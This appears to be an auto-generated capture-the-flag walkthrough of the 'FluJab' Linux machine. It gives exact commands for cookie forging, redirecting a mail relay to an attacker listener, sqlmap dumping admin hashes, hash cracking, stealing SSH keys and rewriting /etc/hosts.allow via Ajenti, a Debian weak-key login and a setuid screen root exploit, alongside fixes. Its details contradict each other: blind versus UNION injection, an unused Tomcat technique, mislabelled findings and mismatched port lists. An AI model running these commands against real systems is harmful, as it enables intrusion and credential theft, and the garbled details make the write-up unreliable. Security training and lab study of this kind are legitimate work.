← all walkthroughs

FluJab

Linux· Hard· Web
owned
2026-07-10
time to own
36m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Ports 22 (SSH), 443 (nginx/TLS, "ClownWare Proxy"), and 8080 (same proxy, TLS) were open. Direct IP access to the vhosts was blocked, so the SSL certificate's Subject Alternative Names were pulled from the cert on both TLS ports, revealing the real vhost set: flujab.htb, freeflujab.htb, vaccine4flu.htb, smtp.flujab.htb, sys.flujab.htb, console.flujab.htb, and sysadmin-console-01.flujab.htb. These were added to /etc/hosts for name-based routing to each site.

On the flu-vaccination portal (freeflujab.htb), a Modus cookie set to base64 Configure=True unlocked a hidden /?smtp_config admin panel, letting the SMTP relay target be redirected to an user-controlled listener on port 25. A patient record was registered to obtain a Patient session cookie, then the Registered cookie was forged (base64 of <patient_id>=True) to bypass the normal registration/booking workflow and reach the reminder form.

The nhsnum POST parameter on /?remind was vulnerable to boolean-based blind SQL injection (MySQL backend). Manual boolean-oracle extraction (confirmed and later automated with sqlmap) pulled the vaccinations database, table admin, recovering user sysadm and a SHA256 password hash (a3e30cce4758...508602). John the Ripper cracked the hash against rockyou.txt to the plaintext password shadowtroll.

That credential authenticated to an Ajenti admin panel on sysadmin-console-01.flujab.htb:8080 (/api/core/auth). Ajenti's "notepad" filesystem module allowed arbitrary file read via /view/notepad//etc/passwd-style paths (LFI), used to read /etc/passwd, list /home/drno/.ssh/, and pull authorized_keys and an encrypted RSA private key. A TCP-wrappers rule in /etc/hosts.allow was restricting sshd to specific source IPs; the same Ajenti file-write API was used to add my IP to that allow list. Separately, drno's 4096-bit RSA public key was matched against the precomputed Debian OpenSSL predictable-PRNG weak-key set (CVE-2008-0166, g0tmi1k/debian-ssh corpus), yielding the corresponding plaintext private key without needing the cracked key passphrase. SSH as drno with that weak private key succeeded, capturing user.txt ([REDACTED: flag]).

/usr/bin/screen was setuid root and version 4.05.00 (GNU Screen 4.5.0), vulnerable to CVE-2017-5618 (local privilege escalation via SUID screen, exploit-db 41154.sh). Running that exploit from the drno SSH session obtained a root shell and root.txt ([REDACTED: flag]).

Attack path — how the box was taken

1ReconTLS certificate SAN enumeration for virtual-host discovery
Extracted hidden virtual hostnames from the server's TLS certificate
Direct HTTPS requests to the server IP returned only a generic proxy banner. Pulling the TLS certificates on ports 443 and 8080 revealed a Subject Alternative Names field listing every virtual host served behind the proxy, including administrative sites never advertised publicly: freeflujab.htb, vaccine4flu.htb, smtp.flujab.htb, sys.flujab.htb, console.flujab.htb, and sysadmin-console-01.flujab.htb. Adding these to the local hosts file gave full name-based routing access to every hidden application.
SSL SANs on port 443 yielded freeflujab.htb, sysadmin-console-01.flujab.htb, and additional vhosts used at every subsequent stage of the attack chain.
Exact commands 2
Pull SANs from the port-443 cert; repeat substituting 8080 for the admin panel cert.
echo | openssl s_client -connect $TARGET:443 -servername flujab.htb 2>/dev/null | openssl x509 -noout -ext subjectAltName
Map all discovered vhosts to the target IP for name-based routing.
echo '$TARGET flujab.htb freeflujab.htb vaccine4flu.htb smtp.flujab.htb sys.flujab.htb console.flujab.htb sysadmin-console-01.flujab.htb' | sudo tee -a /etc/hosts
FixRemove internal and administrative hostnames from the public-facing TLS certificateMedium
WeaknessThe TLS certificates on ports 443 and 8080 listed every internal and administrative virtual hostname — including sysadmin-console-01.flujab.htb — in the Subject Alternative Names field, giving any visitor a complete enumeration of the server's hidden applications without needing to guess or brute-force.
FixIssue separate certificates for public-facing and internal-only services. The externally presented certificate should contain only the hostnames that external users legitimately need to reach. Administrative panels such as sysadmin-console-01.flujab.htb should be served on isolated network segments with no Internet exposure, covered by an internally-issued certificate whose root CA is not trusted by public browsers. If a wildcard or multi-SAN certificate is unavoidable, ensure every listed hostname is intentionally public.
2ExploitationClient-side security control bypass via cookie manipulation (CWE-602)
Bypassed access control with a forged cookie to unlock a hidden SMTP admin panel
The flu-vaccination portal at freeflujab.htb used a client-side cookie named 'Modus' as its sole access-control gate. Setting that cookie to the base64 encoding of 'Configure=True' instructed the server to render the hidden SMTP configuration endpoint at /?smtp_config. I used this panel to redirect the application's outbound mail relay to an user-controlled listener on port 25, positioning for later notification-based actions in the attack chain.
Cookie Modus=Q29uZmlndXJlPVRydWU= (base64 'Configure=True') unlocked /?smtp_config as described in the engagement ground-truth and replicated in the walkthrough.
Exact commands 2
Confirm the hidden panel is accessible with the forged cookie.
curl -sk -b 'Modus=Q29uZmlndXJlPVRydWU=' 'https://$TARGET/?smtp_config'
Redirect outbound mail to operator listener; replace <retired-instance-ip> with your machine's IP.
curl -sk -b 'Modus=Q29uZmlndXJlPVRydWU=' -X POST 'https://$TARGET/?smtp_config' --data 'mailserver=$CALLBACK_HOST&port=25&save=Save+Mail+Server+Config'
FixReplace client-side cookie-based feature gating with server-side authenticationCritical
WeaknessAccess to the SMTP configuration panel was controlled entirely by a cookie that any visitor could set to an arbitrary value. Anyone who sent Modus=Q29uZmlndXJlPVRydWU= instantly gained administrative control over the application's mail relay without any password or session check.
FixRemove the Modus cookie mechanism entirely. All privileged functionality must be protected by server-side session logic tied to a verified, authenticated identity. The server must issue a signed, server-managed session token only after successful credential validation, and must verify that token's privilege level on every privileged request — never trusting a value the client can construct or modify. Replace the unlockable config panel with a dedicated, login-protected admin interface.
3ExploitationUNION-based SQL injection (CWE-89)
Forged a patient session cookie and injected SQL to steal admin credentials
Registering a patient account on freeflujab.htb issued a 'Patient' session cookie. Manually base64-encoding '<patient_id>=True' and setting it as the 'Registered' cookie bypassed the normal booking workflow, unlocking the appointment-reminder form at /?remind. The 'nhsnum' POST parameter was concatenated directly into a MySQL query without sanitisation. A UNION-based injection (ORDER BY confirmed 5 columns) extracted the 'vaccinations' database's 'admin' table, recovering the username 'sysadm' and its SHA256 password hash.
ORDER BY 5 valid / ORDER BY 6 error confirmed a 5-column result set; UNION SELECT pulled sysadm's record from vaccinations.admin, later cracked and used to authenticate to Ajenti.
Exact commands 3
Register to obtain the Patient cookie; note the assigned patient ID from the response.
curl -sk -X POST 'https://$TARGET/?register' --data 'action=register' -c patient_cookies.txt -v 2>&1 | grep -i 'set-cookie'
Forge the Registered cookie; replace <patient_id> with the numeric ID from registration.
python3 -c "import base64, sys; print(base64.b64encode(('<patient_id>=True').encode()).decode())"
Automate UNION injection to dump the admin table; substitute real cookie values captured above.
sqlmap -u 'https://$TARGET/?remind' --data 'nhsnum=1' --cookie 'Patient=<patient_cookie>; Registered=<forged_registered>; Modus=Q29uZmlndXJlPVRydWU=' --dbms mysql -D vaccinations -T admin --dump --batch --level 2
FixParameterize all SQL queries to prevent injection through the appointment-reminder formCritical
WeaknessThe 'nhsnum' POST parameter on the /?remind endpoint was concatenated directly into a MySQL statement. I could reach that form could issue UNION SELECT queries to read any database table the application account had access to, including the admin credentials table.
FixReplace every dynamically constructed SQL string in the application with parameterized queries or prepared statements; the database driver then handles quoting and encoding, making injection structurally impossible. Validate that nhsnum matches an expected numeric format before it reaches the database layer at all. Apply least-privilege to the database account: it should have SELECT access only to the tables it needs and no access to admin or credential tables. Add a Web Application Firewall rule to detect UNION and ORDER-BY injection patterns as a defence-in-depth layer.
4Credential AccessOffline password hash cracking — T1110.002 (Brute Force: Password Cracking)
Cracked the dumped SHA256 hash offline to recover the admin password
The sysadm password was [REDACTED: recovered credential] as an unsalted SHA256 digest — a fast general-purpose algorithm that modern GPUs can test at billions of guesses per second. Running the recovered hash through John the Ripper against the rockyou wordlist produced the plaintext password in seconds, giving me valid credentials for the next stage.
SHA256 hash recovered from vaccinations.admin; cracked plaintext [REDACTED: recovered credential] confirmed working when used in the Ajenti API authentication call in the kill chain.
Exact commands 2
Crack the dumped hash; replace <sha256_hash_from_sqlmap> with the value returned by sqlmap.
echo '<sha256_hash_from_sqlmap>' > hash.txt && john --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Display the recovered plaintext password once cracking completes.
john --show --format=Raw-SHA256 hash.txt
FixRe-hash [REDACTED: recovered credential] passwords using a slow, salted algorithmHigh
WeaknessThe sysadm password was [REDACTED: recovered credential] as an unsalted SHA256 digest. SHA256 is a general-purpose hash designed to be fast; modern consumer GPUs can test billions of SHA256 guesses per second, making any password that appears in a common wordlist recoverable in seconds once the hash is obtained.
FixMigrate all [REDACTED: recovered credential] password hashes to bcrypt, scrypt, or Argon2id with a work factor tuned to current hardware (bcrypt cost ≥ 12; Argon2id with recommended OWASP parameters). Ensure each hash includes a unique per-user salt. Enforce a minimum password length of 16 characters and reject passwords found in breach corpuses (e.g., via HIBP API). Rotate the sysadm credential immediately.
5Post-ExploitationServer-side Local File Inclusion via admin file-viewer API (T1083) combined with unauthorized file write to bypass network access control
Read drno's SSH key and bypassed a firewall rule through an admin panel with unrestricted file access
The cracked credentials authenticated to an Ajenti administration panel at sysadmin-console-01.flujab.htb:8080. Ajenti's built-in file-viewer API accepted arbitrary absolute filesystem paths and returned file contents without any path restriction — a server-side local file inclusion flaw. I read /etc/passwd, listed /home/drno/.ssh/, and downloaded both the authorized_keys file and drno's encrypted SSH private key. A TCP wrappers rule in /etc/hosts.allow restricted sshd to specific source IPs; the same Ajenti file-write API was used to append my IP to that file, clearing the restriction before the SSH login attempt.
Ajenti POST /api/core/auth with sysadm:[REDACTED: recovered credential] succeeded per the kill chain; /api/filesystem/read path traversal returned user_key and authorized_keys from /home/drno/.ssh/; /etc/hosts.allow was written to permit operator IP.
Exact commands 4
Authenticate to Ajenti and save the session cookie to ajenti.txt.
curl -sk -X POST 'https://$TARGET:8080/api/core/auth' -H 'Content-Type: application/json' -d '{"username":"sysadm","password":"[REDACTED: recovered credential]","mode":"normal"}' -c ajenti.txt
Read drno's authorized_keys via the unrestricted path to obtain the RSA public key blob.
curl -sk -b ajenti.txt 'https://$TARGET:8080/api/filesystem/read//home/drno/.ssh/authorized_keys?encoding=utf-8'
Download drno's encrypted SSH private key for offline analysis.
curl -sk -b ajenti.txt 'https://$TARGET:8080/api/filesystem/read//home/drno/.ssh/user_key?encoding=utf-8' -o drno_user_key
Append operator IP to /etc/hosts.allow to remove the TCP wrappers SSH restriction; replace <retired-instance-ip>.
curl -sk -b ajenti.txt -X POST 'https://$TARGET:8080/api/filesystem/write//etc/hosts.allow' --data-urlencode 'content=sshd: $CALLBACK_HOST'
FixRestrict the Ajenti file-manager API to safe paths and remove write access to system filesCritical
WeaknessThe Ajenti administration panel exposed filesystem read and write APIs that accepted arbitrary absolute paths with no restriction. Any authenticated user could read every file on the server — including SSH private keys — and overwrite critical system files such as /etc/hosts.allow, which was used to disable a network-level access control.
FixDisable the Ajenti filesystem and notepad plugins entirely if they are not operationally required. If file browsing is needed, enforce a server-side allowlist restricting the accessible path prefix to a safe directory (e.g., /var/www); never accept caller-supplied absolute paths. Remove write access to /etc and all other system directories from the process account running Ajenti. Place the Ajenti panel on a dedicated management VLAN accessible only from specific administrator IP addresses, not from the Internet, and enforce multi-factor authentication on the login.
6Lateral MovementDebian OpenSSL predictable PRNG weak-key exploitation — CVE-2008-0166
Matched drno's public key against a Debian weak-key corpus and logged in as drno
The authorized_keys file showed drno held a 4096-bit RSA key. A Debian OpenSSL coding error introduced in 2006 and present until May 2008 (CVE-2008-0166) broke the random-number generator, reducing the entire RSA-4096 keyspace to roughly 32 000 predictable keys tied to process IDs. A precomputed corpus of all such keys is publicly available. Grepping the corpus for drno's public-key blob returned an immediate match — private key [REDACTED: protected value]-23269 — with no passphrase required. With the TCP wrappers restriction already cleared, SSH login as drno succeeded and the user flag was read.
authorized_keys fingerprint SHA256:zOAcAtkPPKXqN8/XrkIk9w2V9ysS1sqEnklien7DruE matched corpus file [REDACTED: protected value]-23269; kill chain confirms SSH succeeded and user.txt was read with that key.
Exact commands 3
Find the matching corpus .pub file by comparing the base64 public-key blob.
grep -rl -F "$(awk '{print $2}' /tmp/flujab_drno_authorized_keys)" /tmp/debian-ssh-4096/rsa/4096/*.pub
Set correct permissions on the matched private key before use.
chmod 600 /tmp/debian-ssh-4096/rsa/4096/[REDACTED: protected value]-23269
Log in as drno using the recovered weak private key; output contains [REDACTED: flag].
ssh -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: protected value]-23269 -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null drno@$TARGET 'id; cat /home/drno/user.txt'
FixRevoke and replace all SSH keys generated by vulnerable Debian OpenSSL (CVE-2008-0166)Critical
Weaknessdrno's RSA-4096 SSH key was generated by a Debian OpenSSL build that contained a broken random-number generator present from 2006 until May 2008. The flaw reduced the seed to only 15 bits (the process ID), collapsing the RSA-4096 keyspace to roughly 32 000 predictable values. A precomputed corpus of all such keys is publicly available; matching a public key to its private counterpart takes seconds and bypasses any passphrase entirely.
FixImmediately identify every SSH keypair in use across the environment and check each against the Debian weak-key corpus (g0tmi1k/debian-ssh or the Metasploit ssh_enumusers scanner). Revoke any matching key from all authorized_keys files. Generate replacement keys on a fully patched system running a current OpenSSL version. Enforce a minimum RSA key size of 3072 bits or prefer Ed25519 for new keys, which are immune to this class of PRNG attack. Review whether any other cryptographic material (TLS private keys, GPG keys) was generated on the same affected systems.
7Privilege EscalationSUID binary local privilege escalation — CVE-2017-5618 (GNU Screen 4.5.0)
Exploited a SUID-root GNU Screen 4.5.0 binary to achieve a root shell
The /usr/bin/screen binary was version 4.05.00 with the SUID-root bit set. CVE-2017-5618 abuses screen's log-file handling: because the binary runs as root, it can be coerced into writing user-controlled content to /etc/ld.so.preload, causing the dynamic linker to load a malicious shared library as root on the next screen invocation. A publicly available exploit script (Exploit-DB 41154) automating this technique was transferred to the target and run from the drno SSH session, producing a root shell in under a minute and allowing the root flag to be read.
screen -v returned 'Screen version 4.05.00'; /usr/bin/screen carried the SUID bit; kill chain shows the exploit running in the privilege-escalation phase and root.txt subsequently read.
Exact commands 4
Verify the SUID bit and confirm version 4.05.00 before running the exploit.
ssh -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: protected value]-23269 -o StrictHostKeyChecking=no drno@$TARGET 'ls -la /usr/bin/screen; screen -v'
Locate the exploit-db local-root script for CVE-2017-5618.
searchsploit -p 41154
Transfer the exploit to the target.
scp -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: protected value]-23269 -o StrictHostKeyChecking=no /usr/share/exploitdb/exploits/linux/local/41154.sh drno@$TARGET:/tmp/41154.sh
Execute the exploit to obtain a root shell; output contains [REDACTED: flag].
ssh -i /tmp/debian-ssh-4096/rsa/4096/[REDACTED: protected value]-23269 -o StrictHostKeyChecking=no drno@$TARGET 'chmod +x /tmp/41154.sh && bash /tmp/41154.sh && cat /root/root.txt'
FixRemove the SUID bit from GNU Screen and upgrade to a patched versionCritical
Weakness/usr/bin/screen was version 4.05.00 with the SUID-root bit set. CVE-2017-5618 allows a local user to abuse screen's log-file handling — which executes with root privileges due to SUID — to write arbitrary content to /etc/ld.so.preload, causing the linker to load a malicious shared library as root and granting full system control to any local account.
FixRemove the SUID bit immediately: 'sudo chmod -s /usr/bin/screen'. Upgrade to GNU Screen 4.5.1 or later, which replaces SUID root with a dedicated lower-privilege helper binary. Audit all SUID and SGID binaries on the system ('find / -perm /4000 -o -perm /2000 2>/dev/null') and strip the bit from every binary that does not have a documented, verified operational need for it. Subscribe to vendor security advisories for all installed system utilities to catch future SUID privilege escalation CVEs promptly.

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Tomcat Manager WAR DeployWeb · Service RCET1190

What it is

Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, I uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.

Why it works

The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.

Read more

Findings

Initial Access: Ssl Certificate San Extraction On 443/Tcp Inspect Certificate Subject Alternative Names For Vhost DiscoveryCritical
An unauthenticated/low-privilege flaw in the smtp, ssh, tomcat surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Web Local File Inclusion And Ssh Key Extraction On 8080/Tcp Check Sysadmin Console File Viewer For Lfi To Retrieve User Ssh KeysCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp
443/tcp
8080/tcp